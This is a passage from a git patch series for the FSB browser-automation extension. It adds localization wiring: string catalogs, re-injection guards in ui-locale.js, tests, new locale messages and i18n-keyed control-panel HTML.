a new task":"copy_1a103bf447","FSB missed three replies from the local agent service. The run cannot continue safely.":"copy_6c845be6a5","Install or update the FSB native helper, then try again. FSB will connect this browser automatically.":"copy_4cf5603fc8","FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control. Start a new task when you are ready.":"copy_87db7a3927","Try message again":"copy_d1708202db","Automation is working":"copy_39ccfe7853","Automation control is no longer available for this tab.":"copy_e609da84a5","Stop could not be confirmed. The previous agent state is still shown.":"copy_a6b6ef6c4e","Your original message is still here. Retry Stop to finish cleanup.":"copy_ba4af741ad","FSB could not save this agent run. Stop was confirmed for that exact run, and your message was kept. Try again.":"copy_e71b7995e6","Finish the pending agent cleanup in its original tab and conversation before starting another task. Your message was kept.":"copy_ee776a7565","FSB could not return this tab to $NAME$, so the run ended and the tab remains under your control.":"copy_b3715a6900","FSB’s local helper is not installed. Run: npx -y fsb-mcp-server@latest install --native-host":"copy_47220517c7","Starting reconnaissance on $DOMAIN$...":"copy_d0b5d103f7","Reconnaissance failed to start: $ERROR$":"copy_7654da628e","Reconnaissance complete! Site map saved for $DOMAIN$.":"copy_ca79bcd4d7","The automation completed but no summary was provided. Please try again if the task wasn't completed as expected.":"copy_0f654a723b","Login page detected...":"copy_b6c7f59d4f","Saved payment methods are not available for this checkout.":"copy_43d71bc905","No saved cards":"copy_e46796d601","Vault setup required":"copy_40a0d5700e","Payment access locked":"copy_eef91deafe","Saved payments unavailable":"copy_583fe8b004","Billing profile stored":"copy_5932e9b23f","Filling saved card...":"copy_fbbc8ab36d","Replay paused before a potentially duplicated write.":"copy_e09653448c","Replay decision failed":"copy_a378a72986","Retrying replay step...":"copy_aacf80d079","Skipping replay step...":"copy_8e731074ee","Could not apply replay decision: $ERROR$":"copy_2d7848007e","Blocked · redacted input":"copy_0d3db7357d","An MCP client requested this replay in $COUNT$ fresh tab.":"copy_4916a64c38","An MCP client requested this replay in $COUNT$ fresh tabs.":"copy_c15b9f2acd","One approval covers only the exact verified manifest, including $COUNT$ high-impact step.":"copy_552d4905b4","One approval covers only the exact verified manifest, including $COUNT$ high-impact steps.":"copy_4c946b4834","One approval covers only the exact verified manifest.":"copy_9240c9c130","Opening recorded replay tabs...":"copy_b0802ca35d","Failed to start replay":"copy_c8a00bd3b5","Failed to start requested replay: $ERROR$":"copy_1a0ef83852","Replay cancellation failed":"copy_98db9dc8c5","Could not cancel replay request: $ERROR$":"copy_4ed0e5ecba","Replay verification failed":"copy_0d9f4051eb","This recording is inspect-only because only the latest $LATEST$ of $TOTAL$ recorded calls are available. Earlier browser state cannot be reconstructed safely.":"copy_fc1f569fa7","Replay this verified timeline in $COUNT$ fresh tab?":"copy_a2f62124e7","Replay this verified timeline in $COUNT$ fresh tabs?":"copy_4c55f6bc6e","This one approval covers the exact signed manifest: $DETAIL$.":"copy_dea4fcd3a0","The timeline contains only read and navigation steps.":"copy_82e80a0531","Opening a fresh replay tab...":"copy_99b908db8f","Failed to start replay.":"copy_b33e852b38","Failed to start replay: $ERROR$":"copy_816797656b","Failed to delete session history":"copy_6a7fdeaea6","Capture verification failed":"copy_f50146d7ac","Capture awaiting verification":"copy_8249b3f554","Failed to load session: $ERROR$":"copy_712090559d","Delete all session history? This cannot be undone.":"copy_c249c35164","Failed to clear session history":"copy_357bab7911","Task partially completed":"copy_0d3875c352","Reset to recommended ($COUNT$)":"copy_2786eaaa0e","Enter your model name below":"copy_03cea39622","FSB uses a separate private Grok profile. Connect SuperGrok with browser OAuth; no API key or model selection is used.":"copy_df3a34abef","Connected with browser OAuth":"copy_5eb9258e1b","Sign-in status unavailable":"copy_4ebee382f9","Opening Grok sign-in...":"copy_ee531932b4","Waiting for browser sign-in...":"copy_e591c14068","Grok Build could not disconnect while a task is active":"copy_82d261c870","Grok Build did not answer the disconnect in time. Check the sign-in status before trying again.":"copy_ab442992e8","Grok Build could not disconnect. Try again.":"copy_10e5c2a8ad","Grok Build could not disconnect: the local agent service is unavailable":"copy_2becee5507","Grok Build did not answer the sign-in in time. Refresh status before trying again.":"copy_1d29342190","Grok Build could not sign in: the local agent service is unavailable":"copy_b0fca87a8b","Grok Build sign-in is blocked because the installed Grok CLI is not the version FSB supports. Your account is fine. Check the compatibility badge, then install a supported CLI.":"copy_90ac4e0d62","Grok Build cannot sign in while a task is running. Wait for the run to finish, then try again.":"copy_9144f84f5c","Grok Build could not clean up a previous session, so sign-in is blocked. Refresh status to retry cleanup.":"copy_ca4a99be2b","The Grok CLI refused to start under the strict sandbox FSB requires, so sign-in is blocked. The CLI is installed and your account is fine.":"copy_28c4c69520","FSB could not run the Grok CLI. Check that it is installed, then refresh status.":"copy_0b9a54a7f8","Grok Build sign-in was cancelled":"copy_3f7ae97289","Grok Build sign-in did not complete":"copy_6725ea7cca","Grok Build connected to the private FSB profile":"copy_80d9a75cd7","Grok Build sign-in failed":"copy_ec4c183761","Disconnect the private FSB Grok Build profile? Your normal Grok login is unchanged.":"copy_53296a80a3","Grok Build disconnected from FSB":"copy_ca0786266f","Using loaded model":"copy_eb14344a7c","Choose and save another AI provider before starting a new task":"copy_97e5afb52c","AI provider required":"copy_682cc533d5","Load and select an LM Studio chat model before saving":"copy_0947800d1f","LM Studio model required":"copy_eec68a3001","Start LM Studio, load a chat model, then refresh and select it.":"copy_79b57ba0c8","Provide an API key before saving this provider":"copy_6dd8239043","Load an available model from this provider before saving":"copy_14249339ac","API key required":"copy_3b855d546e","Model list required":"copy_32afa3cc46","API Key Required":"copy_954e78bbdc","Settings saved successfully":"copy_074a372298","Load and select an LM Studio chat model before testing the connection.":"copy_cdb46a2041","No API key configured":"copy_8332d4b3d9","No API Key":"copy_6bec306893","Configure your $NAME$ API key to get started":"copy_ec6c5d7132","API key is required":"copy_59b831ea1c","Load the current model list before testing the connection.":"copy_7e4840a26d","Unknown bridge error":"copy_220b5a97ab","Connection test failed":"copy_a45a37ddcc","Installed and compatible: Grok Build 1.0.4. Isolation, ACP, and cached OAuth checks passed without sending a prompt.":"copy_ad0770f1aa","Compatibility check failed: $ERROR$":"copy_aab517a207","Logs exported successfully":"copy_b33e732cc1","Consent mode for $ORIGIN$":"copy_11eb704622","Audit log unavailable":"copy_7655b9531e","Audit log exported":"copy_07856dc7ea","Audit log export failed":"copy_1945edab68","Clear audit log: This permanently deletes all local audit entries. Export first if you want a copy. Continue?":"copy_27efbed83b","Audit log cleared":"copy_1b9414c45e","Could not clear audit log":"copy_5e4c340bf4","This origin is blocked from automation":"copy_e55422c604","Access granted (sensitive origin)":"copy_74f10b929e","Are you sure you want to clear all analytics data? This cannot be undone.":"copy_8378642189","Analytics data cleared":"copy_a58a92d42a","Analytics data exported":"copy_53dd8a177f","JSON session data":"copy_f5db4312c2","Streaming session export requires a browser with Save As support":"copy_b0e3e5d7c3","Session export transport is unavailable":"copy_0eecfd3ae0","Session not found":"copy_0969eab862","Failed to load session details":"copy_fe13bdd0d0","Session events could not be loaded":"copy_3096433e6f","Failed to load more session events: $ERROR$":"copy_952bb703c9","No session selected":"copy_ce10cc25bb","Session JSON downloaded":"copy_d633c264e7","Retry the journal export from its session-history download button":"copy_19404e5435","Failed to download session logs":"copy_f431c1057b","Are you sure you want to delete this session? This cannot be undone.":"copy_ac475c80e9","Failed to delete session":"copy_5c9c6608b4","Are you sure you want to delete ALL session history? This cannot be undone.":"copy_1a0b431718","All sessions cleared":"copy_40260f861d","Failed to clear sessions":"copy_ed9e6fe6eb","No logs recorded for this session.":"copy_14d37a14df","FSB Automation Session Report":"copy_c892490bc5","AI CONVERSATION LOG":"copy_76eb674a8c","Category | Count | Avg (ms) | Min | Max | Total":"copy_5a60378692","TOKEN USAGE SUMMARY":"copy_87968c8b4f","Session report exported":"copy_09ed6ac4d2","Retry the journal export from its session-history Export Text button":"copy_cc1e1981fb","Failed to export session":"copy_c183663b5c","Error unlocking vault: $ERROR$":"copy_30784a43b1","PINs do not match":"copy_b621934f80","Credential vault created":"copy_038efc029d","Failed to create vault":"copy_b27730b0ad","Error creating vault: $ERROR$":"copy_be90a4301c","Enter your PIN":"copy_344e10f557","Error locking vault: $ERROR$":"copy_d8689df745","Domain is required":"copy_025f3d105c","Username or password is required":"copy_f0413d8913","Failed to save: $ERROR$":"copy_9afaa0cd06","Error saving credential: $ERROR$":"copy_161d5eb702","Delete saved credential for \"$DOMAIN$\"? This cannot be undone.":"copy_2be1559933","Failed to delete: $ERROR$":"copy_742e696153","Error deleting credential: $ERROR$":"copy_f91e85ab50","Payment methods unlocked":"copy_6ddb0ed270","Error unlocking payment methods: $ERROR$":"copy_c75e2cc897","Payment methods locked":"copy_b69b2dc301","Failed to lock payment methods":"copy_454a57b219","Error locking payment methods: $ERROR$":"copy_af2ea4b480","Please enter your numeric PIN":"copy_38c2cc72e3","Edit Payment Method":"copy_97334b1737","All fields except Nickname and Address Line 2 are required":"copy_f8ab13ff2a","Invalid card number":"copy_2389d7d2a2","Card is expired or expiry is invalid":"copy_cc08ac8162","Payment method updated":"copy_0aed24cdfa","Payment method saved":"copy_8fb5f3db97","Error saving payment method: $ERROR$":"copy_58adb591be","Delete this payment method? This cannot be undone.":"copy_f03b63954b","Payment method deleted":"copy_62dd24dab7","Error deleting payment method: $ERROR$":"copy_2a0de92af3","Please enter a URL to explore":"copy_4f15f65f6e","Invalid URL format":"copy_fb05645171","Failed to start explorer: $ERROR$":"copy_a6215dba6d","All crawlers stopped":"copy_284429f90b","Crawl failed for $DOMAIN$":"copy_aee9e10eae","Research data not found":"copy_d604ffed30","Failed to load research details":"copy_600bbdc0cf","Research JSON downloaded":"copy_b784ed64e1","Failed to download research":"copy_4a64e6ca83","Are you sure you want to delete this research result?":"copy_1a2e7f1116","Failed to delete research":"copy_ec95ccc29e","Failed to convert research to site map":"copy_dc94971b24","Failed to save memory":"copy_382f902a79","Saved to memory":"copy_2049875d89","Refining site map with AI...":"copy_d504fbf25e","Site map saved and refined for $DOMAIN$":"copy_a249e56325","Site map saved for $DOMAIN$ (refinement returned no data)":"copy_237923127b","Site map saved (AI refinement failed: $ERROR$)":"copy_35d9e0c46c","Site map saved to memory for $DOMAIN$":"copy_c8c83ca919","Failed to save to memory: $ERROR$":"copy_c32ea6d22f","Are you sure you want to delete ALL research results? This cannot be undone.":"copy_963ba004ea","All research results cleared":"copy_1044224528","Failed to clear research results":"copy_84e9814ece","Please enter a server URL first":"copy_491c2ddc8e","Hash key generated and saved":"copy_9526d57756","Failed to generate hash key":"copy_fdc08c5f7b","Cannot connect to server: $ERROR$":"copy_52b3b70484","No hash key to copy":"copy_cbdbc53db1","Hash key copied":"copy_f0b64c63d8","Failed to copy":"copy_0cf23c4489","Please enter server URL and hash key":"copy_8cab3b4552","Server connection successful":"copy_271b7b0f3b","Hash key is invalid":"copy_3e8bcabc0b","Cannot connect to server":"copy_09f7c3ac2a","Server did not return a hash key":"copy_0ea446a05f","Malformed pairing response":"copy_e5697f10b5","Could not generate pairing code: $ERROR$":"copy_30fa7c27e5","Could not register hash key: $ERROR$":"copy_acce51c1d3","Delete this memory?":"copy_cb4c956be2","Failed to load memory data":"copy_7402b5cdc1","Memory not found":"copy_3d391897c3","Graph engine not available":"copy_1c461596d3","No site pattern data in this memory":"copy_d85c704af2","No pages found in site map":"copy_a658647978","AI refiner not available":"copy_4b23a9fe70","Memory not found or not a site map":"copy_920d3a68d9","Site map refined successfully":"copy_99a619a944","AI refinement failed: $ERROR$":"copy_a266f3a3ce","Delete ALL memories? This cannot be undone.":"copy_0b0bdbabab","All memories cleared":"copy_58589924e2","Failed to clear memories: $ERROR$":"copy_e158cd5a5e","Remote control active":"copy_21ce69d58b","No models match search":"copy_23a711ebd2","No models available":"copy_a5a9895b02","Invalid API key":"copy_df9da4e214","API key invalid for this provider":"copy_e93db4ad9a","No compatible LM Studio models available":"copy_7b582d9989","Start LM Studio, load a chat model, and refresh the model list":"copy_5742edc9d8","LM Studio model discovery is unavailable":"copy_4b1527fd68","Couldn't load models":"copy_bd94818b82","Model discovery is unavailable":"copy_11c964536c","Could not connect to LM Studio":"copy_c77feaa41e","Could not load models from this provider":"copy_bdaaf4fde3","Could not refresh the provider model list":"copy_6b3e293f22","No compatible chat models are loaded in LM Studio":"copy_9aed9949c4","No available models":"copy_d068f8bbe0","The provider returned no available text models":"copy_ec819bcca6","The saved LM Studio model is unavailable. Choose a loaded model and save.":"copy_3329b92927","Model discovery timed out. Refresh to try again.":"copy_5cb6d3f4e6","Search and select model":"copy_e21ca6d204","Toggle model list":"copy_d6699494ff","Refresh model list":"copy_9606bfc49e","Enter your xAI API key":"copy_881bf7079c","Enter your Gemini API key":"copy_1e9720ad1e","Enter your OpenAI API key":"copy_699e26dc48","Enter your Anthropic API key":"copy_e73283ba69","Enter your OpenRouter API key":"copy_c545294348","Enter your custom API key":"copy_8001f1687a","Enter your 2Captcha API key":"copy_ec8571e74c","Decrease max iterations":"copy_9a679edbd3","Increase max iterations":"copy_7ff25a6879","Decrease element limit":"copy_1da98f8734","Increase element limit":"copy_396f15bbfe","Decrease element cache size":"copy_8418bb6be8","Increase element cache size":"copy_4d09f69eb1","Decrease agent concurrency cap":"copy_8afc6eb606","Increase agent concurrency cap":"copy_484366fe68","Decrease trigger concurrency cap":"copy_cffeed4c47","Increase trigger concurrency cap":"copy_3816b69dee","Decrease MCP replay retention":"copy_2a1df07657","MCP replay retention days":"copy_a346fdf291","Increase MCP replay retention":"copy_71c20adba6","Anonymous usage data is being sent. Click to stop.":"copy_f38984cf15","Your server hash key":"copy_81649d0543","Copy hash key":"copy_e4cdf160f5","Previously created background agents":"copy_81f7adf295","When enabled, new memories are automatically analyzed by AI for deeper insights":"copy_8c16fe2070","Export memories as JSON":"copy_0a221bc876","Import memories from JSON":"copy_70e6248096","Default consent mode for new sites":"copy_1152ae520b","Consent mode for origin":"copy_f5af3ff4e6","Search cards, brands, or billing details...":"copy_8371bee1a3","Name on card":"copy_18bf091ea7","Billing profile name":"copy_eb59dcee20","Apt, suite, unit":"copy_e151fee074","FSB - Control Panel":"copy_7ec33c22aa","FSB - Onboarding":"copy_34c70e4722","Step 1 of 5":"copy_1398385080","Select a loaded LM Studio chat model":"copy_b51e205a4a","LM Studio responded successfully":"copy_434171c580","Clipboard did not contain an API key":"copy_900b7aa263","Clipboard read failed":"copy_8d78737e31","Skipped for now":"copy_08aae6eb74"}; if (root.fsbUiLocale && typeof root.fsbUiLocale.registerExact === 'function') root.fsbUiLocale.registerExact(extra); })(typeof globalThis !== 'undefined' ? globalThis : this); diff --git a/extension/utils/ui-locale.js b/extension/utils/ui-locale.js index 06056ac4e..cd003d924 100644 --- a/extension/utils/ui-locale.js +++ b/extension/utils/ui-locale.js @@ -11,6 +11,13 @@ * or the browser UI language. */ (function (root) { + // Content scripts are re-injected into tabs that already run them. Keep the + // booted instance so earlier callers keep their catalogs and override. + if (root.fsbUiLocale && typeof root.fsbUiLocale.boot === 'function') { + if (typeof module !== 'undefined' && module.exports) module.exports = root.fsbUiLocale; + return; + } + var PUBLIC_LOCALES = ['en', 'es', 'de', 'ja', 'ko', 'zh-CN', 'zh-TW']; var SOURCE_LOCALE = 'en'; var STORAGE_KEY = 'fsbUiLocale'; @@ -427,6 +434,10 @@ select.addEventListener('change', function () { saveOverride(select.value); }); + // Another surface can change the language; keep this picker in step. + onChange(function () { + select.value = activeOverride || ''; + }); } function boot() { @@ -473,6 +484,8 @@ var nodes = doc.querySelectorAll('[data-i18n]'); for (i = 0; i < nodes.length; i++) { if (nodes[i].getAttribute('data-i18n-live') != null) continue; + // Writing textContent would drop child markup; key the children instead. + if (nodes[i].children && nodes[i].children.length > 0) continue; var key = nodes[i].getAttribute('data-i18n'); if (isMessage(key, nodes[i].textContent)) nodes[i].textContent = t(key); } diff --git a/tests/extension-ui-locale.test.js b/tests/extension-ui-locale.test.js index 6be0897d4..4c68f4fdc 100644 --- a/tests/extension-ui-locale.test.js +++ b/tests/extension-ui-locale.test.js @@ -226,6 +226,10 @@ function staticMismatches(file) { } if (match[2]) { const name = match[2].toLowerCase(); + // apply() skips keyed nodes with child markup, so they would never translate. + for (const frame of open) { + if (frame.key) misses.push(`${frame.key}: contains <${name}> markup`); + } const attrs = {}; for (const attr of (match[3] || '').matchAll(/([^\s=]+)\s*=\s*"([^"]*)"/g)) attrs[attr[1]] = decodeEntities(attr[2]); for (const part of (attrs['data-i18n-attr'] || '').split(',')) { @@ -270,6 +274,25 @@ function fakeNode(attrs, textContent) { }; } +function fakeSelect() { + const doc = { + createElement() { + return { attrs: {}, setAttribute(name, value) { this.attrs[name] = String(value); } }; + } + }; + return { + attrs: {}, + options: [], + listeners: {}, + value: '', + ownerDocument: doc, + getAttribute(name) { return Object.prototype.hasOwnProperty.call(this.attrs, name) ? this.attrs[name] : null; }, + setAttribute(name, value) { this.attrs[name] = String(value); }, + appendChild(node) { this.options.push(node); }, + addEventListener(type, fn) { this.listeners[type] = fn; } + }; +} + function fakeDoc(nodes) { return { querySelectorAll(selector) { @@ -309,6 +332,11 @@ async function asyncChecks() { check(clonedRow.getAttribute('aria-label') === 'Consent mode for example.com', 'apply leaves attributes that a page script replaced'); check(templateRow.getAttribute('aria-label') === 'Einwilligungsmodus für Ursprung', 'apply translates attributes that still show their catalog message'); + const withMarkup = fakeNode({ 'data-i18n': 'probe_title' }, 'Agent CLI'); + withMarkup.children = [{}]; + locale.apply(fakeDoc([withMarkup])); + check(withMarkup.textContent === 'Agent CLI', 'apply leaves static nodes that hold child markup'); + const status = fakeNode({ 'data-i18n': 'shell_ready' }, 'Ready'); locale.markExact(status, 'Working'); check(status.textContent === 'Arbeitet' && status.getAttribute('data-i18n-shown') === 'Arbeitet', 'fill records the shown text'); @@ -327,6 +355,22 @@ async function asyncChecks() { 'markExact with uncataloged text clears the previous live key'); locale.apply(fakeDoc([runner])); check(runner.textContent === 'Clicking the submit button', 'apply does not bring back a cleared live string'); + + const select = fakeSelect(); + locale.mountSelect(select); + check(select.value === '', 'a new picker follows the browser'); + await locale.saveOverride('de'); + check(select.value === 'de', 'the picker follows a language change made elsewhere'); + await locale.saveOverride(null); + check(select.value === '', 'the picker follows a return to the browser language'); + + // Content scripts are re-injected into live tabs. The second run must keep + // the booted instance and its override. + locale.setOverride('de'); + new Function(source)(); + check(globalThis.fsbUiLocale === locale, 're-injection keeps the booted instance'); + check(locale.t('shell_working') === 'Arbeitet', 're-injection keeps the active override'); + locale.setOverride(null); } asyncChecks().then(() => { From 6b8eaaccb8222bb8393015ffc9653c0d3c8e2714 Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Wed, 14 Oct 2026 22:16:36 -0500 Subject: [PATCH 15/57] fix(66-71): wire unkeyed control panel copy and tighten the copy gate - Load the browser-language catalog in content scripts so overlay text drawn through chrome.i18n before boot() finishes is recognised and switched to the chosen language. - Wrap 59 cataloged but unkeyed control panel text runs in data-i18n spans, and key the theme toggle aria-label. - Translate cloned consent and pending-request template rows, and keep the API test button label keyed when runFullApiTest rewrites it. - Make verify-extension-copy require a data-i18n (or translate="no") hook for static HTML text, including short labels. - Apply static translations on onboarding boot and key the header tag with a new entry_onboarding_tag message in all seven locales. Co-Authored-By: Claude Opus 5.5 (1M context) --- extension/_locales/de/messages.json | 3 + extension/_locales/en/messages.json | 3 + extension/_locales/es/messages.json | 3 + extension/_locales/ja/messages.json | 3 + extension/_locales/ko/messages.json | 3 + extension/_locales/zh_CN/messages.json | 3 + extension/_locales/zh_TW/messages.json | 3 + extension/ui/control_panel.html | 118 +++++++++--------- extension/ui/onboarding.html | 2 +- extension/ui/onboarding.js | 5 +- extension/ui/options.js | 9 +- extension/utils/ui-locale.js | 10 +- scripts/verify-extension-copy.mjs | 45 +++++-- tests/extension-ui-locale.test.js | 38 ++++++ .../extension-i18n/bad-unwired/page.html | 3 + .../onboarding-agent-provider-clicks.test.js | 4 +- 16 files changed, 179 insertions(+), 76 deletions(-) create mode 100644 tests/fixtures/extension-i18n/bad-unwired/page.html diff --git a/extension/_locales/de/messages.json b/extension/_locales/de/messages.json index 245d9d1cf..95c3b07ca 100644 --- a/extension/_locales/de/messages.json +++ b/extension/_locales/de/messages.json @@ -2170,6 +2170,9 @@ "entry_toast_copied": { "message": "Installationsbefehl kopiert" }, + "entry_onboarding_tag": { + "message": "Ersteinrichtung" + }, "copy_26b2f925d8": { "message": "FSB – Seitenleiste" }, diff --git a/extension/_locales/en/messages.json b/extension/_locales/en/messages.json index 0a58b32fe..120594fec 100644 --- a/extension/_locales/en/messages.json +++ b/extension/_locales/en/messages.json @@ -2170,6 +2170,9 @@ "entry_toast_copied": { "message": "Install command copied" }, + "entry_onboarding_tag": { + "message": "Onboarding" + }, "copy_26b2f925d8": { "message": "FSB - Side Panel" }, diff --git a/extension/_locales/es/messages.json b/extension/_locales/es/messages.json index 8ed0671d3..137eebca5 100644 --- a/extension/_locales/es/messages.json +++ b/extension/_locales/es/messages.json @@ -2170,6 +2170,9 @@ "entry_toast_copied": { "message": "Comando de instalación copiado" }, + "entry_onboarding_tag": { + "message": "Puesta en marcha" + }, "copy_26b2f925d8": { "message": "FSB - Panel lateral" }, diff --git a/extension/_locales/ja/messages.json b/extension/_locales/ja/messages.json index af99e5726..658741d59 100644 --- a/extension/_locales/ja/messages.json +++ b/extension/_locales/ja/messages.json @@ -2170,6 +2170,9 @@ "entry_toast_copied": { "message": "インストールコマンドをコピーしました" }, + "entry_onboarding_tag": { + "message": "初期設定" + }, "copy_26b2f925d8": { "message": "FSB - サイドパネル" }, diff --git a/extension/_locales/ko/messages.json b/extension/_locales/ko/messages.json index 83e8bc14e..b735ac315 100644 --- a/extension/_locales/ko/messages.json +++ b/extension/_locales/ko/messages.json @@ -2170,6 +2170,9 @@ "entry_toast_copied": { "message": "설치 명령을 복사했습니다" }, + "entry_onboarding_tag": { + "message": "시작 설정" + }, "copy_26b2f925d8": { "message": "FSB - 사이드 패널" }, diff --git a/extension/_locales/zh_CN/messages.json b/extension/_locales/zh_CN/messages.json index 5b8b7e4b3..4bffd8d57 100644 --- a/extension/_locales/zh_CN/messages.json +++ b/extension/_locales/zh_CN/messages.json @@ -2170,6 +2170,9 @@ "entry_toast_copied": { "message": "已复制安装命令" }, + "entry_onboarding_tag": { + "message": "初始设置" + }, "copy_26b2f925d8": { "message": "FSB - 侧边栏" }, diff --git a/extension/_locales/zh_TW/messages.json b/extension/_locales/zh_TW/messages.json index 99b443d33..02e309f7f 100644 --- a/extension/_locales/zh_TW/messages.json +++ b/extension/_locales/zh_TW/messages.json @@ -2170,6 +2170,9 @@ "entry_toast_copied": { "message": "已複製安裝命令" }, + "entry_onboarding_tag": { + "message": "初始設定" + }, "copy_26b2f925d8": { "message": "FSB - 側邊欄" }, diff --git a/extension/ui/control_panel.html b/extension/ui/control_panel.html index 6516e6f56..453fd4c22 100644 --- a/extension/ui/control_panel.html +++ b/extension/ui/control_panel.html @@ -217,7 +217,7 @@

AI Model Configuration

- Get your API key from x.ai/api. Your key is stored locally in your browser. + Get your API key from x.ai/api. Your key is stored locally in your browser.
@@ -231,7 +231,7 @@

AI Model Configuration

- Get your API key from Google AI Studio. Your key is stored locally in your browser. + Get your API key from Google AI Studio. Your key is stored locally in your browser.
@@ -245,7 +245,7 @@

AI Model Configuration

- Get your API key from OpenAI Platform. Your key is stored locally in your browser. + Get your API key from OpenAI Platform. Your key is stored locally in your browser.
@@ -259,7 +259,7 @@

AI Model Configuration

- Get your API key from Anthropic Console. Your key is stored locally in your browser. + Get your API key from Anthropic Console. Your key is stored locally in your browser.
@@ -273,7 +273,7 @@

AI Model Configuration

- Get your API key from OpenRouter. Access 200+ models with a single key. + Get your API key from OpenRouter. Access 200+ models with a single key.
@@ -322,7 +322,7 @@

Speech-to-Text

CAPTCHA Solver

-

Users haven't reported a single instance of FSB being detected as a bot and interrupting their workflow. That said, not every day is sunshine. This is here for when one isn't.

+

Users haven't reported a single instance of FSB being detected as a bot and interrupting their workflow. That said, not every day is sunshine. This is here for when one isn't.

- Sign up at 2captcha.com, add balance, then copy your API key from the dashboard. Solves reCAPTCHA v2, hCaptcha, and Turnstile. + Sign up at 2captcha.com, add balance, then copy your API key from the dashboard. Solves reCAPTCHA v2, hCaptcha, and Turnstile.
@@ -417,7 +417,7 @@

Claude Code

@@ -445,7 +445,7 @@

Theme

-
+
@@ -593,7 +593,7 @@

Trigger Concurrency

Default 8. Range 1 to 64. Lower = predictable resource use; higher = more parallel watches. Lowering this value while triggers are active does not stop existing watches; new triggers past the new cap are rejected. @@ -901,7 +901,7 @@

Server Sync

- +
Generate a key, then pair the dashboard to link this browser to the FSB server.
@@ -909,11 +909,11 @@

Server Sync

@@ -925,7 +925,7 @@

Server Sync

- 60s remaining + 60s remaining
@@ -935,8 +935,8 @@

Server Sync

-
Background agents have left the building
-

FSB stays focused on precise single-attempt browser execution. Scheduled and recurring task work is better served by tools built for it: OpenClaw for an open-source agent loop, and Claude Routines for managed long-running automations. Pick whichever fits the way you work.

+
Background agents have left the building
+

FSB stays focused on precise single-attempt browser execution. Scheduled and recurring task work is better served by tools built for it: OpenClaw for an open-source agent loop, and Claude Routines for managed long-running automations. Pick whichever fits the way you work.

@@ -1128,11 +1128,11 @@

Research Results

@@ -1152,7 +1152,7 @@

Research Results

- Consolidated Memory + Consolidated Memory

@@ -1179,23 +1179,23 @@

- E-Commerce & Shopping - Social Media - Finance & Trading - Travel & Booking - Email Platforms - Coding Platforms - Career & Job Search - Gaming Platforms - Productivity Tools - Design & Whiteboard - Games - Media - Music - News - Reference - Sports - Utilities + E-Commerce & Shopping + Social Media + Finance & Trading + Travel & Booking + Email Platforms + Coding Platforms + Career & Job Search + Gaming Platforms + Productivity Tools + Design & Whiteboard + Games + Media + Music + News + Reference + Sports + Utilities
@@ -1213,11 +1213,11 @@

Logs & Debugging

Allow this credential on subdomains -
Example: a credential saved for example.com can also be used on login.example.com.
+
Example: a credential saved for example.com can also be used on login.example.com.
diff --git a/extension/ui/onboarding.html b/extension/ui/onboarding.html index ac48ee361..72e1998f2 100644 --- a/extension/ui/onboarding.html +++ b/extension/ui/onboarding.html @@ -17,7 +17,7 @@ FS - Onboarding + Onboarding
Step 1 of 5 diff --git a/extension/ui/onboarding.js b/extension/ui/onboarding.js index 56a085d02..6052f3e3a 100644 --- a/extension/ui/onboarding.js +++ b/extension/ui/onboarding.js @@ -160,7 +160,10 @@ render(); if (globalThis.fsbUiLocale && typeof fsbUiLocale.boot === 'function') { if (typeof fsbUiLocale.onChange === 'function') fsbUiLocale.onChange(() => render()); - fsbUiLocale.boot().then(() => render()); + fsbUiLocale.boot().then(() => { + if (typeof fsbUiLocale.apply === 'function') fsbUiLocale.apply(document); + render(); + }); } rollTimer = setInterval(advanceInstallClient, ROTATE_MS); } diff --git a/extension/ui/options.js b/extension/ui/options.js index 7404a1d4b..98bd42013 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -2632,7 +2632,8 @@ async function runFullApiTest() { || providerPanelState.requiresProviderReselection === true) return; elements.fullApiTest.disabled = true; - elements.fullApiTest.innerHTML = ' Testing...'; + elements.fullApiTest.innerHTML = ' ' + + escapeHtml((globalThis.fsbUiLocale && fsbUiLocale.line) ? fsbUiLocale.line('Testing...') : 'Testing...') + ''; elements.testResults.classList.remove('show'); try { @@ -2712,7 +2713,8 @@ async function runFullApiTest() { updateApiStatusCard('disconnected', 'Connection Error', error.message); } finally { elements.fullApiTest.disabled = false; - elements.fullApiTest.innerHTML = ' Test Connection'; + elements.fullApiTest.innerHTML = ' ' + + escapeHtml((globalThis.fsbUiLocale && fsbUiLocale.line) ? fsbUiLocale.line('Test Connection') : 'Test Connection') + ''; } } @@ -2954,6 +2956,8 @@ function renderConsentOriginList(envelope, auditOrigins) { const mutating = !!policy.mutating; const frag = tmpl.content.cloneNode(true); + // apply(document) does not reach
TimeOriginCapabilityMethodSide EffectConsentOutcomeTimeOriginCapabilityMethodSide EffectConsentOutcome
-

No audit entries yet. Capability calls are recorded here once you allow an origin. Entries are redacted and stored locally only.

+

No audit entries yet. Capability calls are recorded here once you allow an origin. Entries are redacted and stored locally only.